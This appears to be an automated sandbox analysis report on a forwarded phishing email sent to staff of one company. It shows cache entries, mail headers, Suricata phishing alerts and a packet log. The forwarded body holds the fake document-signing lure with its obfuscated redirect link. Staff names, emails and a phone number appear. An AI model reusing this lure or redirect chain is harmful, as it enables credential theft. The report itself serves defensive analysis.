Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx...{l[W......<H.HT.m........,..M...U.A.?..IHU%....&....c+."`.!US.@.T...P.....646&h...TM.....M T...8v.\|?R..=.<.\|.{\|\|n...............................................0.w...N>...&..L.[.~.:.e\|w@...E^0X...E^.j.^......z..F..KE$Y....,.;..\|..c.!YkC..z..K!y.`....y.`....y.`....y.`....y.`....y.`....yQ.....Z..`=.`.XSS.+.......(...u\|.K&..mmmK.`...2.Li....."X.Tj.....n.q.\/....i......U...=.5".TD.Z.....u.jii9.....j.........X,..c>..w.c.'..;.R....N.Ap8....U..B...Z.n][kk..._..1.6...D..+W.<*"K'...Y........A.S,.....KA.l...1..=..MU;. .l...1.:[.`..>.J.^5.\|).....1-..9..ys..vkkk..".U..U..0......>5T..Zz\|\|.LOO...9..".9.q.c>...F......J.......~[D.+"w.=..8....1fE.T.UWW..3.{..iOm{.0...1...]"rS..3....'}5.....d...}i.`..}...WU.OU....U.a.O..o...5.N...>m.....Ri..<.`'....3.o.%=.z@u...y4$"{....p...2....O..7.U....\.p..__

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=16, height=4020, bps=206, compression=none, PhotometricIntepretation=RGB, orientation=upper-left, width=7140], baseline, precision 8, 1920x1081, components 3
Category:	downloaded
Size (bytes):	226446
Entropy (8bit):	7.907981068444794
Encrypted:	false
SSDEEP:	6144:dukWmrT0MSluPSuC4G0cYjRg2iZe8gZ0OlGO:prPyluPJG0LjRg2sOlGO
MD5:	9044B42F29DAE52F9A6F869289BC0914
SHA1:	9DD7B59307E0FF9C0F9A4D5DF1EC8070127F05AC
SHA-256:	0F9B7F4CBDECB3B5746D628CB75F77F215142DDF7D0E23924E094E79FCFD14AF
SHA-512:	3BCBF7FBA8A795C35426B736B98B94554C7B2AEAC421ACD5720486E68BD574DF515A6FBCB8F1F52796364B29E491C553125797694BAF03CF0A2BD276AEFCABC6
Malicious:	false
URL:	https://aadcdn.msauthimages.net/dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/illustration?ts=636613980171400016
Preview:	.....FExif..II*...............................................................................................................................(...........1...$.......2...........;...................+...i.......<...t...........-..'....-..'..Adobe Photoshop CC 2015.5 (Windows).2018:05:08 08:53:33.Daryl Pederson.Daryl Pederson.............0221................................9...............................................(...............................l.......H.......H.............Adobe_CM......Adobe.d.................................................................................................................................................Z...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw...............

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	4.937753755353445
Encrypted:	false
SSDEEP:	24:YydmmCf205hNkHYuYDmSnfC3MLu2Y204/z:YtD205huHHOmSn63a
MD5:	CF3EDFC5C7F9E4216F399401B68CBEF8
SHA1:	F4ED6C47148700FF5599D96D8B879E074205F865
SHA-256:	CF897AB987D106C9AA5F2B9FAF2E49980F07E6FDA3394EBBEF2DF26F2B67E017
SHA-512:	FE41319E40A492329E5381CFC04F1D20E1AD04D4145B43549CC2D08BF6BC4C86011FD47D6C256BE19E9801C547D2042486B643A9DB046D427142BB42A0FCE8CF
Malicious:	false
Preview:	{"ipVersion":4,"ipAddress":"8.46.123.33","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false,"continent":"Americas","continentCode":"AM","currency":{"code":"USD","name":"US Dollar"},"language":"English","timeZones":["America\/Adak","America\/Anchorage","America\/Boise","America\/Chicago","America\/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/Nome","America\/North_Dakota\/Beulah","America\/North_Dakota\/Center","America\/North_Dakota\/New_Salem","Am

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	330
Entropy (8bit):	5.464119121531775
Encrypted:	false
SSDEEP:	6:6v/lhPp0xH2plH0thAuikdUXphjhSZng5NDgFjbSIYtWHcjp:6v/7BYuWhAupUXpSZng5ClbH1HcN
MD5:	79CF1EFDBFAF6AFF7E32AD13BFA4BBED
SHA1:	0E07B7F718F59B81246DCD059D9DA90ACBE2DA60
SHA-256:	FEA8FBAEC75213E1AF8005EDFCDC94E7B5D7DCA6DDB4E262D66E4756BDA96D54
SHA-512:	E6A653C6C9052043AD8A5A3217647D1914460E2021C531474326FC2AF5F3CF4F9920812DB7BA97B0ECC543AA9B56D1C5408CE7995D634B7A1AB251D4AAD47DD2
Malicious:	false
URL:	https://w2yf5cltgv.tkllop.online/static/media/logo-off-1.png
Preview:	.PNG........IHDR.....................sBIT.....O.....PLTEGpL.P".................tRNS.@..f....bKGD....H..._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....bIDATx...I..0.......R.B...#g5............................... .4..6..............................<kh.[[.O.....IEND.B`.

Static File Info

General

File type:	CDFV2 Microsoft Outlook Message
Entropy (8bit):	5.970730028227407
TrID:	Outlook Message (71009/1) 58.92% Outlook Form Template (41509/1) 34.44% Generic OLE2 / Multistream Compound File (8008/1) 6.64%
File name:	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg
File size:	209'408 bytes
MD5:	bda90a669331a24de6e58ca539a7bf78
SHA1:	9f87fd8b20e2f5136f8b2a1ea3f820c3300a9db6
SHA256:	22831befdeb39560d3022a59253e513c213bf01e68ea824851092e6e5e06b623
SHA512:	2b38cd94c3c8b840de74af734ddb1e6f1872fdbdc0a3684760773d6cdfbb5b29cf16aa44f46f70c66ef2e79d95f3188223efd6eb506b2f3b574a02da0a2cf133
SSDEEP:	3072:E1RjDu37hOXXk8mdAwSwTYQzhMQj4edMY4yKTG5xrRkV+3KjyT:ou37hOX0J9BLOEr
TLSH:	1924E82436F98219F2779F321EE5808BD526BC53AD25955F318D330F1B32A81ED61B3A
File Content Preview:	........................>......................................................................................................................................................................................................................................

Static Mail

General

Subject:	FW: [EXTERNAL] Completed: iNH9Y_Contract_and_Agreement_3509750318S REF ID:iNH9Y
From:	Jim Gilliland <jgilliland@olgoonik.com>
To:	Jimmy Perez <jperez@olgoonik.com>
Cc:
BCC:
Date:	Mon, 07 Oct 2024 20:53:58 +0200
Communications:	Jim Gilliland Director of IT Mobile: 907-887-9108 Email : jgilliland@olgoonik.com <mailto:jgilliland@olgoonik.com> Tyler, TX 75701 ITServiceDesk@olgoonik.com <mailto:ITServiceDesk@olgoonik.com> From: Danny Syhre <dsyhre@olgoonik.com> Sent: Monday, October 7, 2024 1:48 PM To: Jim Gilliland <jgilliland@olgoonik.com>; Dale Czubaj <dczubaj@olgoonik.com> Subject: FW: [EXTERNAL] Completed: iNH9Y_Contract_and_Agreement_3509750318S REF ID:iNH9Y Importance: High Jim, Dale, Any idea what this is? Is it Phishing doc b/c Im in Dresden using Marriott Wi-fi? Danny From: Electronic-Doc-Notification-REgUTbW <admin@posimyth.com <mailto:admin@posimyth.com> > Sent: Monday, October 7, 2024 8:04 PM To: Danny Syhre <dsyhre@olgoonik.com <mailto:dsyhre@olgoonik.com> > Subject: [EXTERNAL] Completed: iNH9Y_Contract_and_Agreement_3509750318S REF ID:iNH9Y Importance: High 1eeFWpxflc Your attention is needed for a document awaiting review and signature Document file: Contract_Agreement_Olgoonik 229_6326.pdf Review Document <https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0> {randomstring} Olgoonik dsyhre@olgoonik.com <mailto:dsyhre@olgoonik.com> Additional Details: Notification ID: A119699-80 C7-0DEF-12G3-H6326I8JK9L0 Having trouble with this transaction? By proceeding, you agree that this agreement may be signed using electronic or handwritten signatures. More information <https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fx.com%2F&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423355349%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=PCNS0azb1ah3r2lVAHKgIMlfHuWp7GjliIgwBE6L6p8%3D&reserved=0> To ensure that you continue receiving emails, please add the address to your address book or safelist Registered location: Flash Systems, Inc., JohnDoe St. 234, San Francisco CA 12452, Tech Park, Other Site of Town. Payment Gateway Inc. 2022
Attachments:	image001.jpg

Headers

Key	Value
Received	from SA2PR08MB6745.namprd08.prod.outlook.com
18	53:58 +0000
Authentication-Results	dkim=none (message not signed)
by SA1PR08MB8415.namprd08.prod.outlook.com (2603	10b6:806:338::12) with
2024 18	53:58 +0000
([fe80	:4e72:fc65:b2f6:f025%3]) with mapi id 15.20.8026.020; Mon, 7 Oct 2024
Content-Type	application/ms-tnef; name="winmail.dat"
Content-Transfer-Encoding	binary
From	Jim Gilliland <jgilliland@olgoonik.com>
To	Jimmy Perez <jperez@olgoonik.com>
Subject	FW: [EXTERNAL] Completed: iNH9Y_Contract_and_Agreement_3509750318S
REF ID	iNH9Y
Thread-Topic	[EXTERNAL] Completed: iNH9Y_Contract_and_Agreement_3509750318S
Thread-Index	AQHbGONLUwyJAgIpREipKyuyVEfGRrJ7oK2wgAAB/QA=
Importance	high
X-Priority	1
Date	Mon, 7 Oct 2024 18:53:58 +0000
Message-ID	<SA2PR08MB674528E62D3BB083CEA69D6AB77D2@SA2PR08MB6745.namprd08.prod.outlook.com>
References	<2d6f.5de1203ef9c91ae3.m1.84d6c470-84d6-11ef-9ecb-5254007ea3ec.1926826f237@bounce.posimyth.com>
In-Reply-To	<SA1PR08MB88050DA12C8DD8E6CE402261AC7D2@SA1PR08MB8805.namprd08.prod.outlook.com>
Accept-Language	en-US
Content-Language	en-US
X-MS-Has-Attach	yes
X-MS-Exchange-Organization-SCL	1
X-MS-TNEF-Correlator	<SA2PR08MB674528E62D3BB083CEA69D6AB77D2@SA2PR08MB6745.namprd08.prod.outlook.com>
msip_labels	MSIP_Label_565a2f1f-4a7b-439b-8345-96aa30bffd4a_ActionId=ba61a8f8-084e-4453-b80f-bf57cd37e92b;MSIP_Label_565a2f1f-4a7b-439b-8345-96aa30bffd4a_ContentBits=0;MSIP_Label_565a2f1f-4a7b-439b-8345-96aa30bffd4a_Enabled=true;MSIP_Label_565a2f1f-4a7b-439b-8345-96aa30bffd4a_Method=Standard;MSIP_Label_565a2f1f-4a7b-439b-8345-96aa30bffd4a_Name=defa4170-0d19-0005-0004-bc88714345d2;MSIP_Label_565a2f1f-4a7b-439b-8345-96aa30bffd4a_SetDate=2024-10-07T18:53:39Z;MSIP_Label_565a2f1f-4a7b-439b-8345-96aa30bffd4a_SiteId=341c5aad-39be-47a3-901e-146d297ecd80;
MIME-Version	1.0
X-MS-Exchange-Organization-MessageDirectionality	Originating
X-MS-Exchange-Organization-AuthSource	SA2PR08MB6745.namprd08.prod.outlook.com
X-MS-Exchange-Organization-AuthAs	Internal
X-MS-Exchange-Organization-AuthMechanism	04
X-MS-Exchange-Organization-Network-Message-Id	c9269c52-39e8-4553-ed1a-08dce70166e8
X-MS-PublicTrafficType	Email
X-MS-TrafficTypeDiagnostic	SA2PR08MB6745:EE_\|SA1PR08MB8415:EE_\|BY5PR08MB6198:EE_
Return-Path	jgilliland@olgoonik.com
X-MS-Exchange-Organization-ExpirationStartTime	07 Oct 2024 18:53:58.8501
X-MS-Exchange-Organization-ExpirationStartTimeReason	OriginalSubmit
X-MS-Exchange-Organization-ExpirationInterval	1:00:00:00.0000000
X-MS-Exchange-Organization-ExpirationIntervalReason	OriginalSubmit
X-MS-Office365-Filtering-Correlation-Id	c9269c52-39e8-4553-ed1a-08dce70166e8
X-MS-Exchange-AtpMessageProperties	SA\|SL
X-MS-Exchange-Organization-BypassClutter	true
X-Microsoft-Antispam	BCL:0;ARA:13230040\|366016\|41050700001;
X-Forefront-Antispam-Report	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:SA2PR08MB6745.namprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(41050700001);DIR:INT;
X-MS-Exchange-CrossTenant-OriginalArrivalTime	07 Oct 2024 18:53:58.7077
X-MS-Exchange-CrossTenant-FromEntityHeader	Hosted
X-MS-Exchange-CrossTenant-Id	341c5aad-39be-47a3-901e-146d297ecd80
X-MS-Exchange-CrossTenant-AuthSource	SA2PR08MB6745.namprd08.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs	Internal
X-MS-Exchange-CrossTenant-Network-Message-Id	c9269c52-39e8-4553-ed1a-08dce70166e8
X-MS-Exchange-CrossTenant-MailboxType	HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName	RQ782f7MWuJ9qnrqrrIuRFjkn5NjGsTMvLj9U6WLbzzrlHXNR4buXfqLSo0jrm+pzGnUf3Eei7lgk6HNSsN29A==
X-MS-Exchange-Transport-CrossTenantHeadersStamped	SA1PR08MB8415
X-MS-Exchange-Transport-EndToEndLatency	00:00:02.8769674
X-MS-Exchange-Processed-By-BccFoldering	15.20.8026.020
X-Microsoft-Antispam-Mailbox-Delivery	ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(425001)(930097)(140003)(1420198);
X-Microsoft-Antispam-Message-Info	ANQ39MUF5poQALcLwUZg4pWaEVCUnbeKPGZoShNys9+Jaku8atZ22GQnwxDR0+bxW2awCNa50x8U3g6/G4/zRL6iebb5CkRq3p7k+IUVu2nEDlfyOFyBC+ZLKIWIc90nqJ+FQfA+x++6VjofhdqwkFNRU3GIPJcnf/2FtyAEE7O9R/z/HA01sTHWbHKrmv2C92N1CZ1LCVUHTk2th943eIWqTs5nV9p4T4c43VBDv+6jRrlf4p7QjowPrUlK6Nh4ci9ECFvfqXcXycGIVOhgem2RTQvGqTayAMFkJsRtCPM7II7jYjqA3O9xFF3FMu5Bqcz5ahzqJs311iRKrLA0HxodEkGb1xnxczOxocO+NQmQEpkN3NbIMHC3QARjqmY9WMQxtatJZMD2DyTLA520anw46mTm1f5uQp6Af1tI4usKggMdlWWADu7MNwpE0fdo7hlv5C89i0pk9vWj3EIhJRJXUywXPPJJ1XCICyptAtLBHEDx7bKlvIubrFql75PFsfz2kv5ztdX6y8nKJudRp0xhmsgn6rM7xrtFM/yP/9+iXkHfkjAf+/KtpPJ72UjHJXgCLIfHLUvTNkfm0WnF4Izc4AEDuA+OFw+wsZgjVxotJU2lMSoxOm/lgGAXTx7ZDi+74sVT6XzyrpDGkM9XkfuNZW8/hWD4sYT8rb6K7PTTEj+Ivm722k4UHAl7gVIMVG1orzohUHB3zn1eEjAyNyDD63C8QhrvF1fSHareb8neMtjMK90B0LhsDq3GAgfF/e/nLp6cvB+Q2a97Zzwg1xGFjsFd5wUlXyMo1mTXV6v8hGnNjIJ3HtsOpzu51GiCHblDe6y/2w2BVnP8YSxReQ==
date	Mon, 07 Oct 2024 20:53:58 +0200

File Icon


Icon Hash:	c4e1928eacb280a2

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T20:59:05.989361+0200	2047978	ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1	2	192.168.2.16	49741	104.21.57.143	443	TCP
2024-10-07T20:59:30.763764+0200	2047980	ET PHISHING [TW] NOTG Redirect URL Struct	2	192.168.2.16	49796	104.21.57.143	443	TCP
2024-10-07T20:59:30.863258+0200	2047981	ET PHISHING [TW] NOTG Check Expirations URL Struct	2	192.168.2.16	49797	104.21.57.143	443	TCP
2024-10-07T20:59:37.850704+0200	2047983	ET PHISHING [TW] NOTG Check Add User URL Struct	2	192.168.2.16	49808	104.21.57.143	443	TCP
2024-10-07T20:59:45.690069+0200	2047983	ET PHISHING [TW] NOTG Check Add User URL Struct	2	192.168.2.16	49814	104.21.57.143	443	TCP
2024-10-07T20:59:48.964904+0200	2047982	ET PHISHING [TW] NOTG Password URL Struct	2	192.168.2.16	49802	104.21.57.143	443	TCP
2024-10-07T20:59:51.985201+0200	2047983	ET PHISHING [TW] NOTG Check Add User URL Struct	2	192.168.2.16	49820	104.21.57.143	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 20:58:06.886305094 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 7, 2024 20:58:07.190092087 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 7, 2024 20:58:07.796027899 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 7, 2024 20:58:09.013983965 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 7, 2024 20:58:09.474863052 CEST	49689	80	192.168.2.16	192.229.211.108
Oct 7, 2024 20:58:11.424894094 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 7, 2024 20:58:13.182004929 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:13.182073116 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:13.182173014 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:13.183665991 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:13.183689117 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:13.792920113 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:13.793015003 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:13.797781944 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:13.797791958 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:13.798202991 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:13.838998079 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:13.862175941 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:13.903460979 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.041001081 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.041093111 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.041162014 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.041284084 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.041294098 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.041310072 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.041315079 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.083005905 CEST	49709	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.083091974 CEST	443	49709	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.083204985 CEST	49709	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.083601952 CEST	49709	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.083640099 CEST	443	49709	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.694413900 CEST	443	49709	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.694559097 CEST	49709	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.697551012 CEST	49709	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.697577953 CEST	443	49709	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.697984934 CEST	443	49709	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.699183941 CEST	49709	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.739476919 CEST	443	49709	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.947875023 CEST	443	49709	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.948025942 CEST	443	49709	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.948214054 CEST	49709	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.948854923 CEST	49709	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.948904991 CEST	443	49709	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:14.948935986 CEST	49709	443	192.168.2.16	184.28.90.27
Oct 7, 2024 20:58:14.948951006 CEST	443	49709	184.28.90.27	192.168.2.16
Oct 7, 2024 20:58:15.059218884 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 7, 2024 20:58:15.360910892 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 7, 2024 20:58:15.701972961 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:15.702018023 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:15.702198029 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:15.703404903 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:15.703416109 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:15.751857042 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:15.751907110 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:15.752043962 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:15.752217054 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:15.752235889 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:15.965884924 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 7, 2024 20:58:16.237926006 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 7, 2024 20:58:16.273209095 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.273309946 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.274842978 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.274852037 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.275331974 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.317950010 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.327430010 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.371397018 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.511092901 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.511151075 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.511173010 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.511215925 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.511260033 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.511292934 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.511292934 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.511302948 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.511327028 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.511353016 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.511353016 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.511365891 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.511420965 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.511420965 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.511434078 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.511687994 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.511768103 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.514947891 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:16.515162945 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:16.522202969 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.522202969 CEST	49711	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:16.522214890 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.522222996 CEST	443	49711	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:16.527776957 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:16.527859926 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:16.528126001 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:16.528579950 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:16.528633118 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:16.528671980 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:16.817913055 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:16.817939997 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:16.818038940 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:16.818068027 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:16.818104982 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:16.818129063 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:16.818240881 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:16.818264961 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:16.818449974 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:16.818487883 CEST	443	49712	20.190.159.23	192.168.2.16
Oct 7, 2024 20:58:16.818558931 CEST	49712	443	192.168.2.16	20.190.159.23
Oct 7, 2024 20:58:17.176923990 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 7, 2024 20:58:19.527086020 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 7, 2024 20:58:19.590895891 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 7, 2024 20:58:19.830923080 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 7, 2024 20:58:20.438941002 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 7, 2024 20:58:21.652971983 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 7, 2024 20:58:24.056941032 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 7, 2024 20:58:24.392025948 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 7, 2024 20:58:25.841943026 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 7, 2024 20:58:28.870974064 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 7, 2024 20:58:33.992978096 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 7, 2024 20:58:37.182847977 CEST	49717	443	192.168.2.16	104.47.74.28
Oct 7, 2024 20:58:37.182921886 CEST	443	49717	104.47.74.28	192.168.2.16
Oct 7, 2024 20:58:37.183022022 CEST	49717	443	192.168.2.16	104.47.74.28
Oct 7, 2024 20:58:37.183923960 CEST	49717	443	192.168.2.16	104.47.74.28
Oct 7, 2024 20:58:37.183959007 CEST	443	49717	104.47.74.28	192.168.2.16
Oct 7, 2024 20:58:37.772198915 CEST	443	49717	104.47.74.28	192.168.2.16
Oct 7, 2024 20:58:37.772762060 CEST	49717	443	192.168.2.16	104.47.74.28
